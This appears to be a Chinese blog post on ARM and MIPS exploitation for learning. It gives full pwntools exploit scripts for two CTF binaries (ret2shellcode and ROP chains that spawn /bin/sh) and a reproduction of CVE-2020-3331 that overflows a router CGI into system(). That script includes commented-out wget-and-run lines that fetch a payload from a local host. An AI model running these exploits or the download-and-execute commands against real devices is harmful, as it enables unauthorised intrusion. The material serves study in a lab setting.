异构学习

前言

异构的getshell与命令执行这方面一直都比较薄弱,虽然之前星盟里面国资师傅有过培训,但是内容都比较简单,在真实的iot设备方面的构造还是有所欠缺,所以这次重新学习一下这方面的内容

参考链接:

https://github.com/ReAbout/pwn-exercise-iot

arm架构

基础知识

arm函数调用约定

ARM 32位:

  • 参数1-参数4 分别保存到 R0-R3 寄存器中 ,剩下的参数从右往左依次入栈,被调用者实现栈平衡,返回值存放在 R0 中。
  • ARM中使用R0作为默认的返回值。 ARM 64位:
  • 参数1-参数8 分别保存到 X0-X7 寄存器中 ,剩下的参数从右往左依次入栈,被调用者实现栈平衡,返回值存放在 X0 中。

常见函数调用约定(x86、x64、arm、arm64)

arm汇编

https://b0ldfrev.gitbook.io/note/iot/mipsarm-hui-bian-xue-xi#arm

pwn例题:typo

binary:typo

两种方法

1.ret2shellcode

这种方法没记错的话只能在自己本地打通,因为是通过调试获取的栈地址会随着qemu发生变化,在远程大概率栈地址是不一样的

直接通过调试获得偏移地址,接着把shellcode写在栈上,然后覆盖返回地址为shellcode的地址就可以了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
from ctypes import *
from struct import pack
#banary = "./pwn"
#elf = ELF(banary)
#libc = ELF("./libc.so.6")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
ip = ''
port = 0
local = 0
if local:
io = process(["qemu-arm-static","-L","/usr/arm-linux-gnueabi","./typo"])
else:
io = process(["qemu-arm-static","-L","/usr/arm-linux-gnueabi","-g","1234","./typo"])

context(log_level = 'debug', os = 'linux', arch = 'arm')
#context(log_level = 'debug', os = 'linux', arch = 'i386')

def dbg():
gdb.attach(io)
pause()

s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda data : io.success('%s -> 0x%x' % (data, eval(data)))
ia = lambda : io.interactive()

ru("Input ~ if you want to quit")
s(b'\n')

sleep(0.5)
io.recv()
payload=asm(shellcraft.sh()).ljust(112,b'A')+p32(0xfffeef44)#shellcode
sl(payload)

ia()

2.rop

svc:r7=0xb;R0=addr(“/bin/sh”);R1=0;R2=0
以上系统调用等同于execve(“/bin/sh”,0,0)

svc: 通过这条指令切换到 svc 模式(svc 替代了以前的 swi 指令,是 ARM 提供的系统调用指令),进入到软件中断处理函数( SWI handler )。

所以我们RoP目标状态如下:

  • R0 = “/bin/sh”
  • R1 = 0
  • R2 = 0
  • R7 = 0xb (对应arm下execve的系统调用)
  • svc

1./bin/sh的地址可以通过ida直接找到:0x006C384

2.rop

在这里 pc 相当于x86的ret,构成gadget。

1
2
3
0x00020904 : pop {r0, r4, pc}   
0x00068bec : pop {r1, pc}
0x00014068 : pop {r7, pc}

没有r2寄存器gadget,需要通过mov方式赋值,我们这有r4的,找个 mov r2 , r4。再通过blx r3跳转回去

1
2
3
4
5
(typo/ELF/ARM)> search mov r2, r4
[INFO] Searching for gadgets: mov r2, r4

[INFO] File: typo
0x0003338c: mov r2, r4; blx r3;

于是还需要找能够控制r3寄存器的gadget

1
2
3
4
5
6
(typo/ELF/ARM)> search pop {r3
[INFO] Searching for gadgets: pop {r3

[INFO] File: typo
0x00053d10: pop {r3, lr}; bx r3;
0x00008160: pop {r3, pc}; #选择这个

最后找svc的gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
(typo/ELF/ARM)> search svc
[INFO] Searching for gadgets: svc

[INFO] File: typo
0x00023b78: svc #0; b #0x1ba94; ldr r3, [pc, #0xa8]; ldr r0, [r3, #4]; sub sp, fp, #0x20; pop {r4, r5, r6, r7, r8, sb, sl, fp, pc};
0x00021538: svc #0; cmn r0, #0x1000; mov r3, r0; bhi #0x19598; mov r0, r3; pop {r4, r5, r6, r7, r8, pc};
0x0002165c: svc #0; cmn r0, #0x1000; mov r3, r0; bhi #0x19674; mov r0, r3; pop {r7, pc};
0x000220c0: svc #0; cmn r0, #0x1000; mov r3, r0; bhi #0x1a0d8; mov r0, r3; pop {r7, pc};
0x00024210: svc #0; cmn r0, #0x1000; mov r3, r0; bhi #0x1c254; mov r0, r3; pop {r7, pc};
0x0003147c: svc #0; cmn r0, #0x1000; mov r3, r0; bhi #0x294b0; mov r0, r3; pop {r7, pc};
0x00047a54: svc #0; cmn r0, #0x1000; mov r3, r0; bhi #0x3fa88; mov r0, r3; pop {r3, r4, r7, pc};
0x00048354: svc #0; cmn r0, #0x1000; mov r3, r0; bhi #0x4036c; mov r0, r3; pop {r7, pc};
0x0004839c: svc #0; cmn r0, #0x1000; mov r3, r0; bhi #0x403b4; mov r0, r3; pop {r7, pc};
0x00048454: svc #0; cmn r0, #0x1000; mov r3, r0; bhi #0x4046c; mov r0, r3; pop {r7, pc};
0x0004858c: svc #0; cmn r0, #0x1000; mov r3, r0; bhi #0x405a4; mov r0, r3; pop {r7, pc};
0x0005e200: svc #0; cmn r0, #0x1000; mov r3, r0; bhi #0x56218; mov r0, r3; pop {r7, pc};
0x00014054: svc #0; cmn r0, #0x1000; mov r3, r0; bhi #0xc06c; mov r0, r3; pop {r7, pc};
0x00014a5c: svc #0; cmn r0, #0x1000; mov r3, r0; bhi #0xca74; mov r0, r3; pop {r3, r4, r7, pc};
0x00024014: svc #0; ldr r7, [r6, #-0x43c]; and r3, r7, #0xc; cmp r3, #4; beq #0x1c000; pop {r4, r5, r6, r7, r8, pc};
0x0003226c: svc #0; mov r0, #0; pop {r3, r4, r5, r6, r7, pc};
0x0001edf0: svc #0; mov r0, #0; pop {r3, r4, r5, r6, r7, r8, sb, sl, fp, pc};
0x00030bd8: svc #0; mov r0, #0; sub sp, fp, #0x20; pop {r4, r5, r6, r7, r8, sb, sl, fp, pc};
0x0000ddc0: svc #0; mov r0, r6; add sp, sp, #0xc; pop {r4, r5, r6, r7, r8, sb, sl, fp, pc};
0x0003b4bc: svc #0; mov r0, r6; pop {r4, r5, r6, r7, r8, pc};
0x00039f60: svc #0; mov r0, r8; pop {r4, r5, r6, r7, r8, pc};
0x0000fed0: svc #0; pop {r3, r4, r5, r6, r7, pc};
0x00016368: svc #0; pop {r4, r5, r6, r7, pc};
0x0001aca8: svc #0; pop {r4, r5, r6, r7, r8, pc};
0x00019568: svc #0; pop {r4, r5, r6, r7, r8, sb, pc};
0x000482fc: svc #0; pop {r7}; bx lr;
0x000505c0: svc #0; sub sp, fp, #0x20; pop {r4, r5, r6, r7, r8, sb, sl, fp, pc};
0x00008150: svceq #0x89832c; orrvs sp, lr, #140, #6; push {r3, lr}; bl #0xbd4; pop {r3, pc};

至此所需要的gadget全部找到,就可以直接写rop了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
from ctypes import *
from struct import pack
#banary = "./pwn"
#elf = ELF(banary)
#libc = ELF("./libc.so.6")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
ip = ''
port = 0
local = 1
if local:
io = process(["qemu-arm-static","-L","/usr/arm-linux-gnueabi","./typo"])
else:
io = process(["qemu-arm-static","-L","/usr/arm-linux-gnueabi","-g","1234","./typo"])

context(log_level = 'debug', os = 'linux', arch = 'arm')
#context(log_level = 'debug', os = 'linux', arch = 'i386')

def dbg():
gdb.attach(io)
pause()

s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda data : io.success('%s -> 0x%x' % (data, eval(data)))
ia = lambda : io.interactive()

ru("Input ~ if you want to quit")
s(b'\n')

sleep(0.5)
io.recv()
#payload=asm(shellcraft.sh()).ljust(112,b'A')+p32(0xfffeef44)#shellcode
pop_r0_r4_pc=0x00020904
bin_sh=0x006C384
svc_0=0x00023b78
pop_r7_pc=0x00014068
pop_r1_pc=0x00068bec
mov_r2_r4_blx_r3=0x0003338c
pop_r3_pc=0x00008160

payload=b'A'*112+p32(pop_r7_pc)+p32(0xb)+p32(pop_r1_pc)+p32(0)+p32(pop_r0_r4_pc)+p32(bin_sh)+p32(0)+p32(pop_r3_pc)+p32(svc_0)+p32(mov_r2_r4_blx_r3)
#pause()
sl(payload)

ia()

mips架构

基础知识

MIPS 重要特性

  • mips本身不支持NX

MIPS 函数调用约定

  • 调用者将参数保存在寄存器 $a0 - $a3 中。其总共能保存4个参数。如果有更多的参数,或者有传值的结构,其将被保存在栈中。
  • 调用者使用 jal 加上子程序的标记。返回地址保存在 $ra 中。
  • 返回地址是 PC + 4,PC 是 jal 指令的地址。
  • 如果被调用者使用框架指针,它通常将其设置为栈指针。旧的栈指针必须在之前被保存到栈中。
  • 被调用者通常在开头将其需要使用的寄存器保存到栈中。如果被调用者调用了辅助子程序,必须将 $ra入栈,同时也必须将临时寄存器或被保留的寄存器入栈。
  • 当子程序结束,返回值要保存在 $v0 - $v1 中。
  • 被调用者使用 jr $ra 返回到调用者那里。

Ref:https://www.jianshu.com/p/79895392ecb2

MIPS 寄存器

寄存器编号 别名 用途
$0 $zero 常量0(constant value 0)
$1 $at 保留给汇编器(Reserved for assembler)
$2-$3 $v0-$v1 函数调用返回值(values for results and expression evaluation)
$4-$7 $a0-$a3 函数调用参数(arguments)
$8-$15 $t0-$t7 暂时的(或随便用的)
$16-$23 $s0-$s7 保存的(或如果用,需要SAVE/RESTORE的)(saved)
$24-$25 $t8-$t9 暂时的(或随便用的)
$28 $gp 全局指针(Global Pointer)
$29 $sp 堆栈指针(Stack Pointer)
$30 $fp/$s8 栈帧指针(Frame Pointer)
$31 $ra 返回地址(return address)

基础知识:https://b0ldfrev.gitbook.io/note/iot/mipsarm-hui-bian-xue-xi#mips

前期准备

ida的mipsrop插件:https://github.com/tacnetsol/ida

用ropper或者ROPgadget都不太好找gadget?

例题

HWS夏令营结营赛题:pwn

运行:

1
qemu-mips-static ./pwn

调试:

1
qemu-mips-static -g 1234 ./pwn

保护措施

image-20240316175622583

分析题目代码有个很明显的memcpy造成的栈溢出

image-20240316175735552

只是格式有点要求,直接调试不能直接获得偏移,会在下面这个地方卡住,具体原因就不太懂了

image-20240316180028333

只能通过去找输入的地址以及最后给到ra寄存器值的地址然后计算出偏移

image-20240316180341152

找到偏移之后就是利用mipsrop去找需要的gadget

思路大概是,找一个能将栈上的地址放进寄存器的gadget,再找一个对应的gadget可以jalr或者jr这个寄存器过去执行shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Python>mipsrop.stackfinder()
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x004273C4 | addiu $a2,$sp,0x70+var_C | jalr $s0 |
| 0x0042BCD0 | addiu $a2,$sp,0x88+var_C | jalr $s2 |
| 0x0042FA00 | addiu $v1,$sp,0x138+var_104 | jalr $s1 |
| 0x004491F8 | addiu $a2,$sp,0x44+var_C | jalr $s1 |
| 0x0044931C | addiu $v0,$sp,0x30+var_8 | jalr $s1 |
| 0x00449444 | addiu $a2,$sp,0x44+var_C | jalr $s1 |
| 0x0044AD58 | addiu $a1,$sp,0x60+var_28 | jalr $s4 |
| 0x0044AEFC | addiu $a1,$sp,0x64+var_28 | jalr $s5 |
| 0x0044B154 | addiu $a1,$sp,0x6C+var_38 | jalr $s2 |
| 0x0044B1EC | addiu $v0,$sp,0x6C+var_40 | jalr $s2 |
| 0x0044B3EC | addiu $v0,$sp,0x170+var_130 | jalr $s0 |
| 0x00454E94 | addiu $s7,$sp,0xB8+var_98 | jalr $s3 |
| 0x00465BEC | addiu $a1,$sp,0xC4+var_98 | jalr $s0 |
----------------------------------------------------------------------------------------------------------------

首先找到这个0x004273C4这个gadget,可以将栈地址给到a2寄存器,然后去找能够jalr或者jr a2的gadget

1
2
3
4
5
6
7
8
9
10
11
Python>mipsrop.find("jr")
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x004002FC | jr $ra | jr 0x1C+var_s0($sp) |
| 0x0041F518 | jr $t9 | jr $s1 |
| 0x0041F538 | jr $t9 | jr $s1 |
| 0x00421684 | jr $t9 | jr $a2 |

.text:00421684 00 C0 C8 25 move $t9, $a2
.text:00421688 03 20 00 08 jr $t9

很明显可以利用0x00421684这段gadget

然后就是想办法怎么执行第一段gadget1后接着执行gadget2,先看看这两端gadget

1
2
3
0x004273C4  |  addiu $a2,$sp,0x70+var_C                            |  jalr  $s0 
0x00421684 | jr $t9 | jr $a2

可以看到第一段gadget最后会jalr到$s0这个寄存器,而在pwn函数的最后刚好可以控制这个寄存器

image-20240316180902557

经过调试确定偏移为0x6c,然后就是在程序最后sp+0x64的地方写上shellcode就可以getshell了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
from ctypes import *
from struct import pack
#banary = "./pwn"
#elf = ELF(banary)
#libc = ELF("./libc.so.6")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
ip = ''
port = 0
local = 1
if local:
io = process(["qemu-mips-static","-L","/usr/mipsel-linux-gnu/","./pwn"])
else:
io = process(["qemu-mips-static","-L","/usr/mipsel-linux-gnu/","-g","1234","./pwn"])

context(log_level = 'debug', os = 'linux', arch = 'mips',endian="big")
#context(log_level = 'debug', os = 'linux', arch = 'i386')

def dbg():
gdb.attach(io)
pause()

s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda data : io.success('%s -> 0x%x' % (data, eval(data)))
ia = lambda : io.interactive()

ru("Enter the group number:")
sl(str(1))

jr_a2=0x0421684
addiu_a2=0x4273c4 #addiu $a2,$sp,0x70+var_C jalr $s0

ru("'1:Job.'")
payload=b'1:'
payload += b'a'*0x6c + p32(jr_a2) + b'a'*0x20 + p32(addiu_a2)
payload += b'a'*0x64 + asm(shellcraft.sh())

sl(payload)

ia()

CVE-2020-3331复现

参考:https://github.com/ReAbout/pwn-exercise-iot/blob/main/linux_mips_stack/mips_iot_cc/pwn.md

上面链接有固件下载链接还有复现环境,但是不推荐使用他里面的复现环境(docker),因为版本太老的原因,会出现很多问题,不如直接自己使用qemu模拟环境

漏洞出现的位置:guest_logout_cgi函数当中对于sscanf对于submit_button参数的处理

sscanf 与我们熟悉的 scanf 非常类似,二者的区别在于:在调用 sscanf 时,需要将带解析的字符串作为第一个参数传入;而在调用 scanf 时,待解析的参数则是来自标准输入。为了更好地理解 sscanf 的功能,不妨先来看一个例子:

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <stdlib.h>

int main() {
int a, b, c;
char string[15] = "1 2 3";
sscanf(string, "%d %d %d", &a, &b, &c);
printf("%d %d %d\n", a, b, c);
system("pause");
}

在本例中, sscanf 利用格式化字符串 “%d %d %d”string 中的1、2、3分别赋值给了变量 abc

sscanf 利用格式化字符串 “%[^;];%*[^=]=%[^\n]”v11 分成了6个部分,其中 sub_string1 是一个不含 ‘;’ 的字符串(对应 %[^;] ),其值将被赋给 v29; sub_string2 是一个不含 ‘=’ 的字符串(对应 %*[^=] ,此处 ***** 起到舍弃该值的作用),其值将被丢弃; sub_string3 是一个不含 ‘\n’ 的字符串(对应 %[^\n] ),其值将被赋给 v28。例如,若 v11 = “AAAA;var=BBBB\n” ,则 v29 = “AAAA”v28 = “BBBB”

而触发漏洞需要满足下面三个条件:

  1. v5 != NULL && v10 != NULL
  2. v5 是一个合法的MAC地址 && v10 是一个合法的IPv4地址
  3. v11 中需要包含子串 “status_guestnet.asp”

v5=get_cgi(“cmac”);

v10 = get_cgi(“cip”);

v11 = get_cgi(“submit_button”);

然后就可以想办法构造payload了,这个固件比较凑巧在函数最后返回的时候,a0刚好是前面sscanf的第一个参数,也就是在程序最后溢出控制返回地址为system时的第一个参数刚好就是我们前面的输入值

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/python3

from pwn import *
import requests
from threading import Thread

context(arch='mips', endian='little', os='linux')

system = 0x0047A610

cmd = '\n'
#cmd += 'wget http://192.168.2.1:8000/tools/msf -O /msf\n'
#cmd += 'chmod 777 /msf\n'
#cmd += '/msf\n'
cmd += 'echo "pwn_sucess" > /tmp/test.txt\n'

assert(len(cmd) < 0x55)

payload = b"status_guestnet.asp" + cmd.ljust(0x55,'b').encode() + p32(system)
#payload=b"status_guestnet.asp" + b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
data = {"cmac":"12:af:aa:bb:cc:dd", "submit_button":payload, "cip":"192.168.100.1"}

def attack():
try:
requests.post("http://192.168.182.21/guest_logout.cgi", data=data, timeout=1)
except Exception as e:
print(e)

thread = Thread(target=attack)
thread.start()

io = listen(31337)
io.wait_for_connection()
log.success("getshell")
io.interactive()

thread.join()

异构学习
http://blogyoulin.top/2024/03/15/异构学习/
Author
John Doe
Posted on
March 15, 2024
Licensed under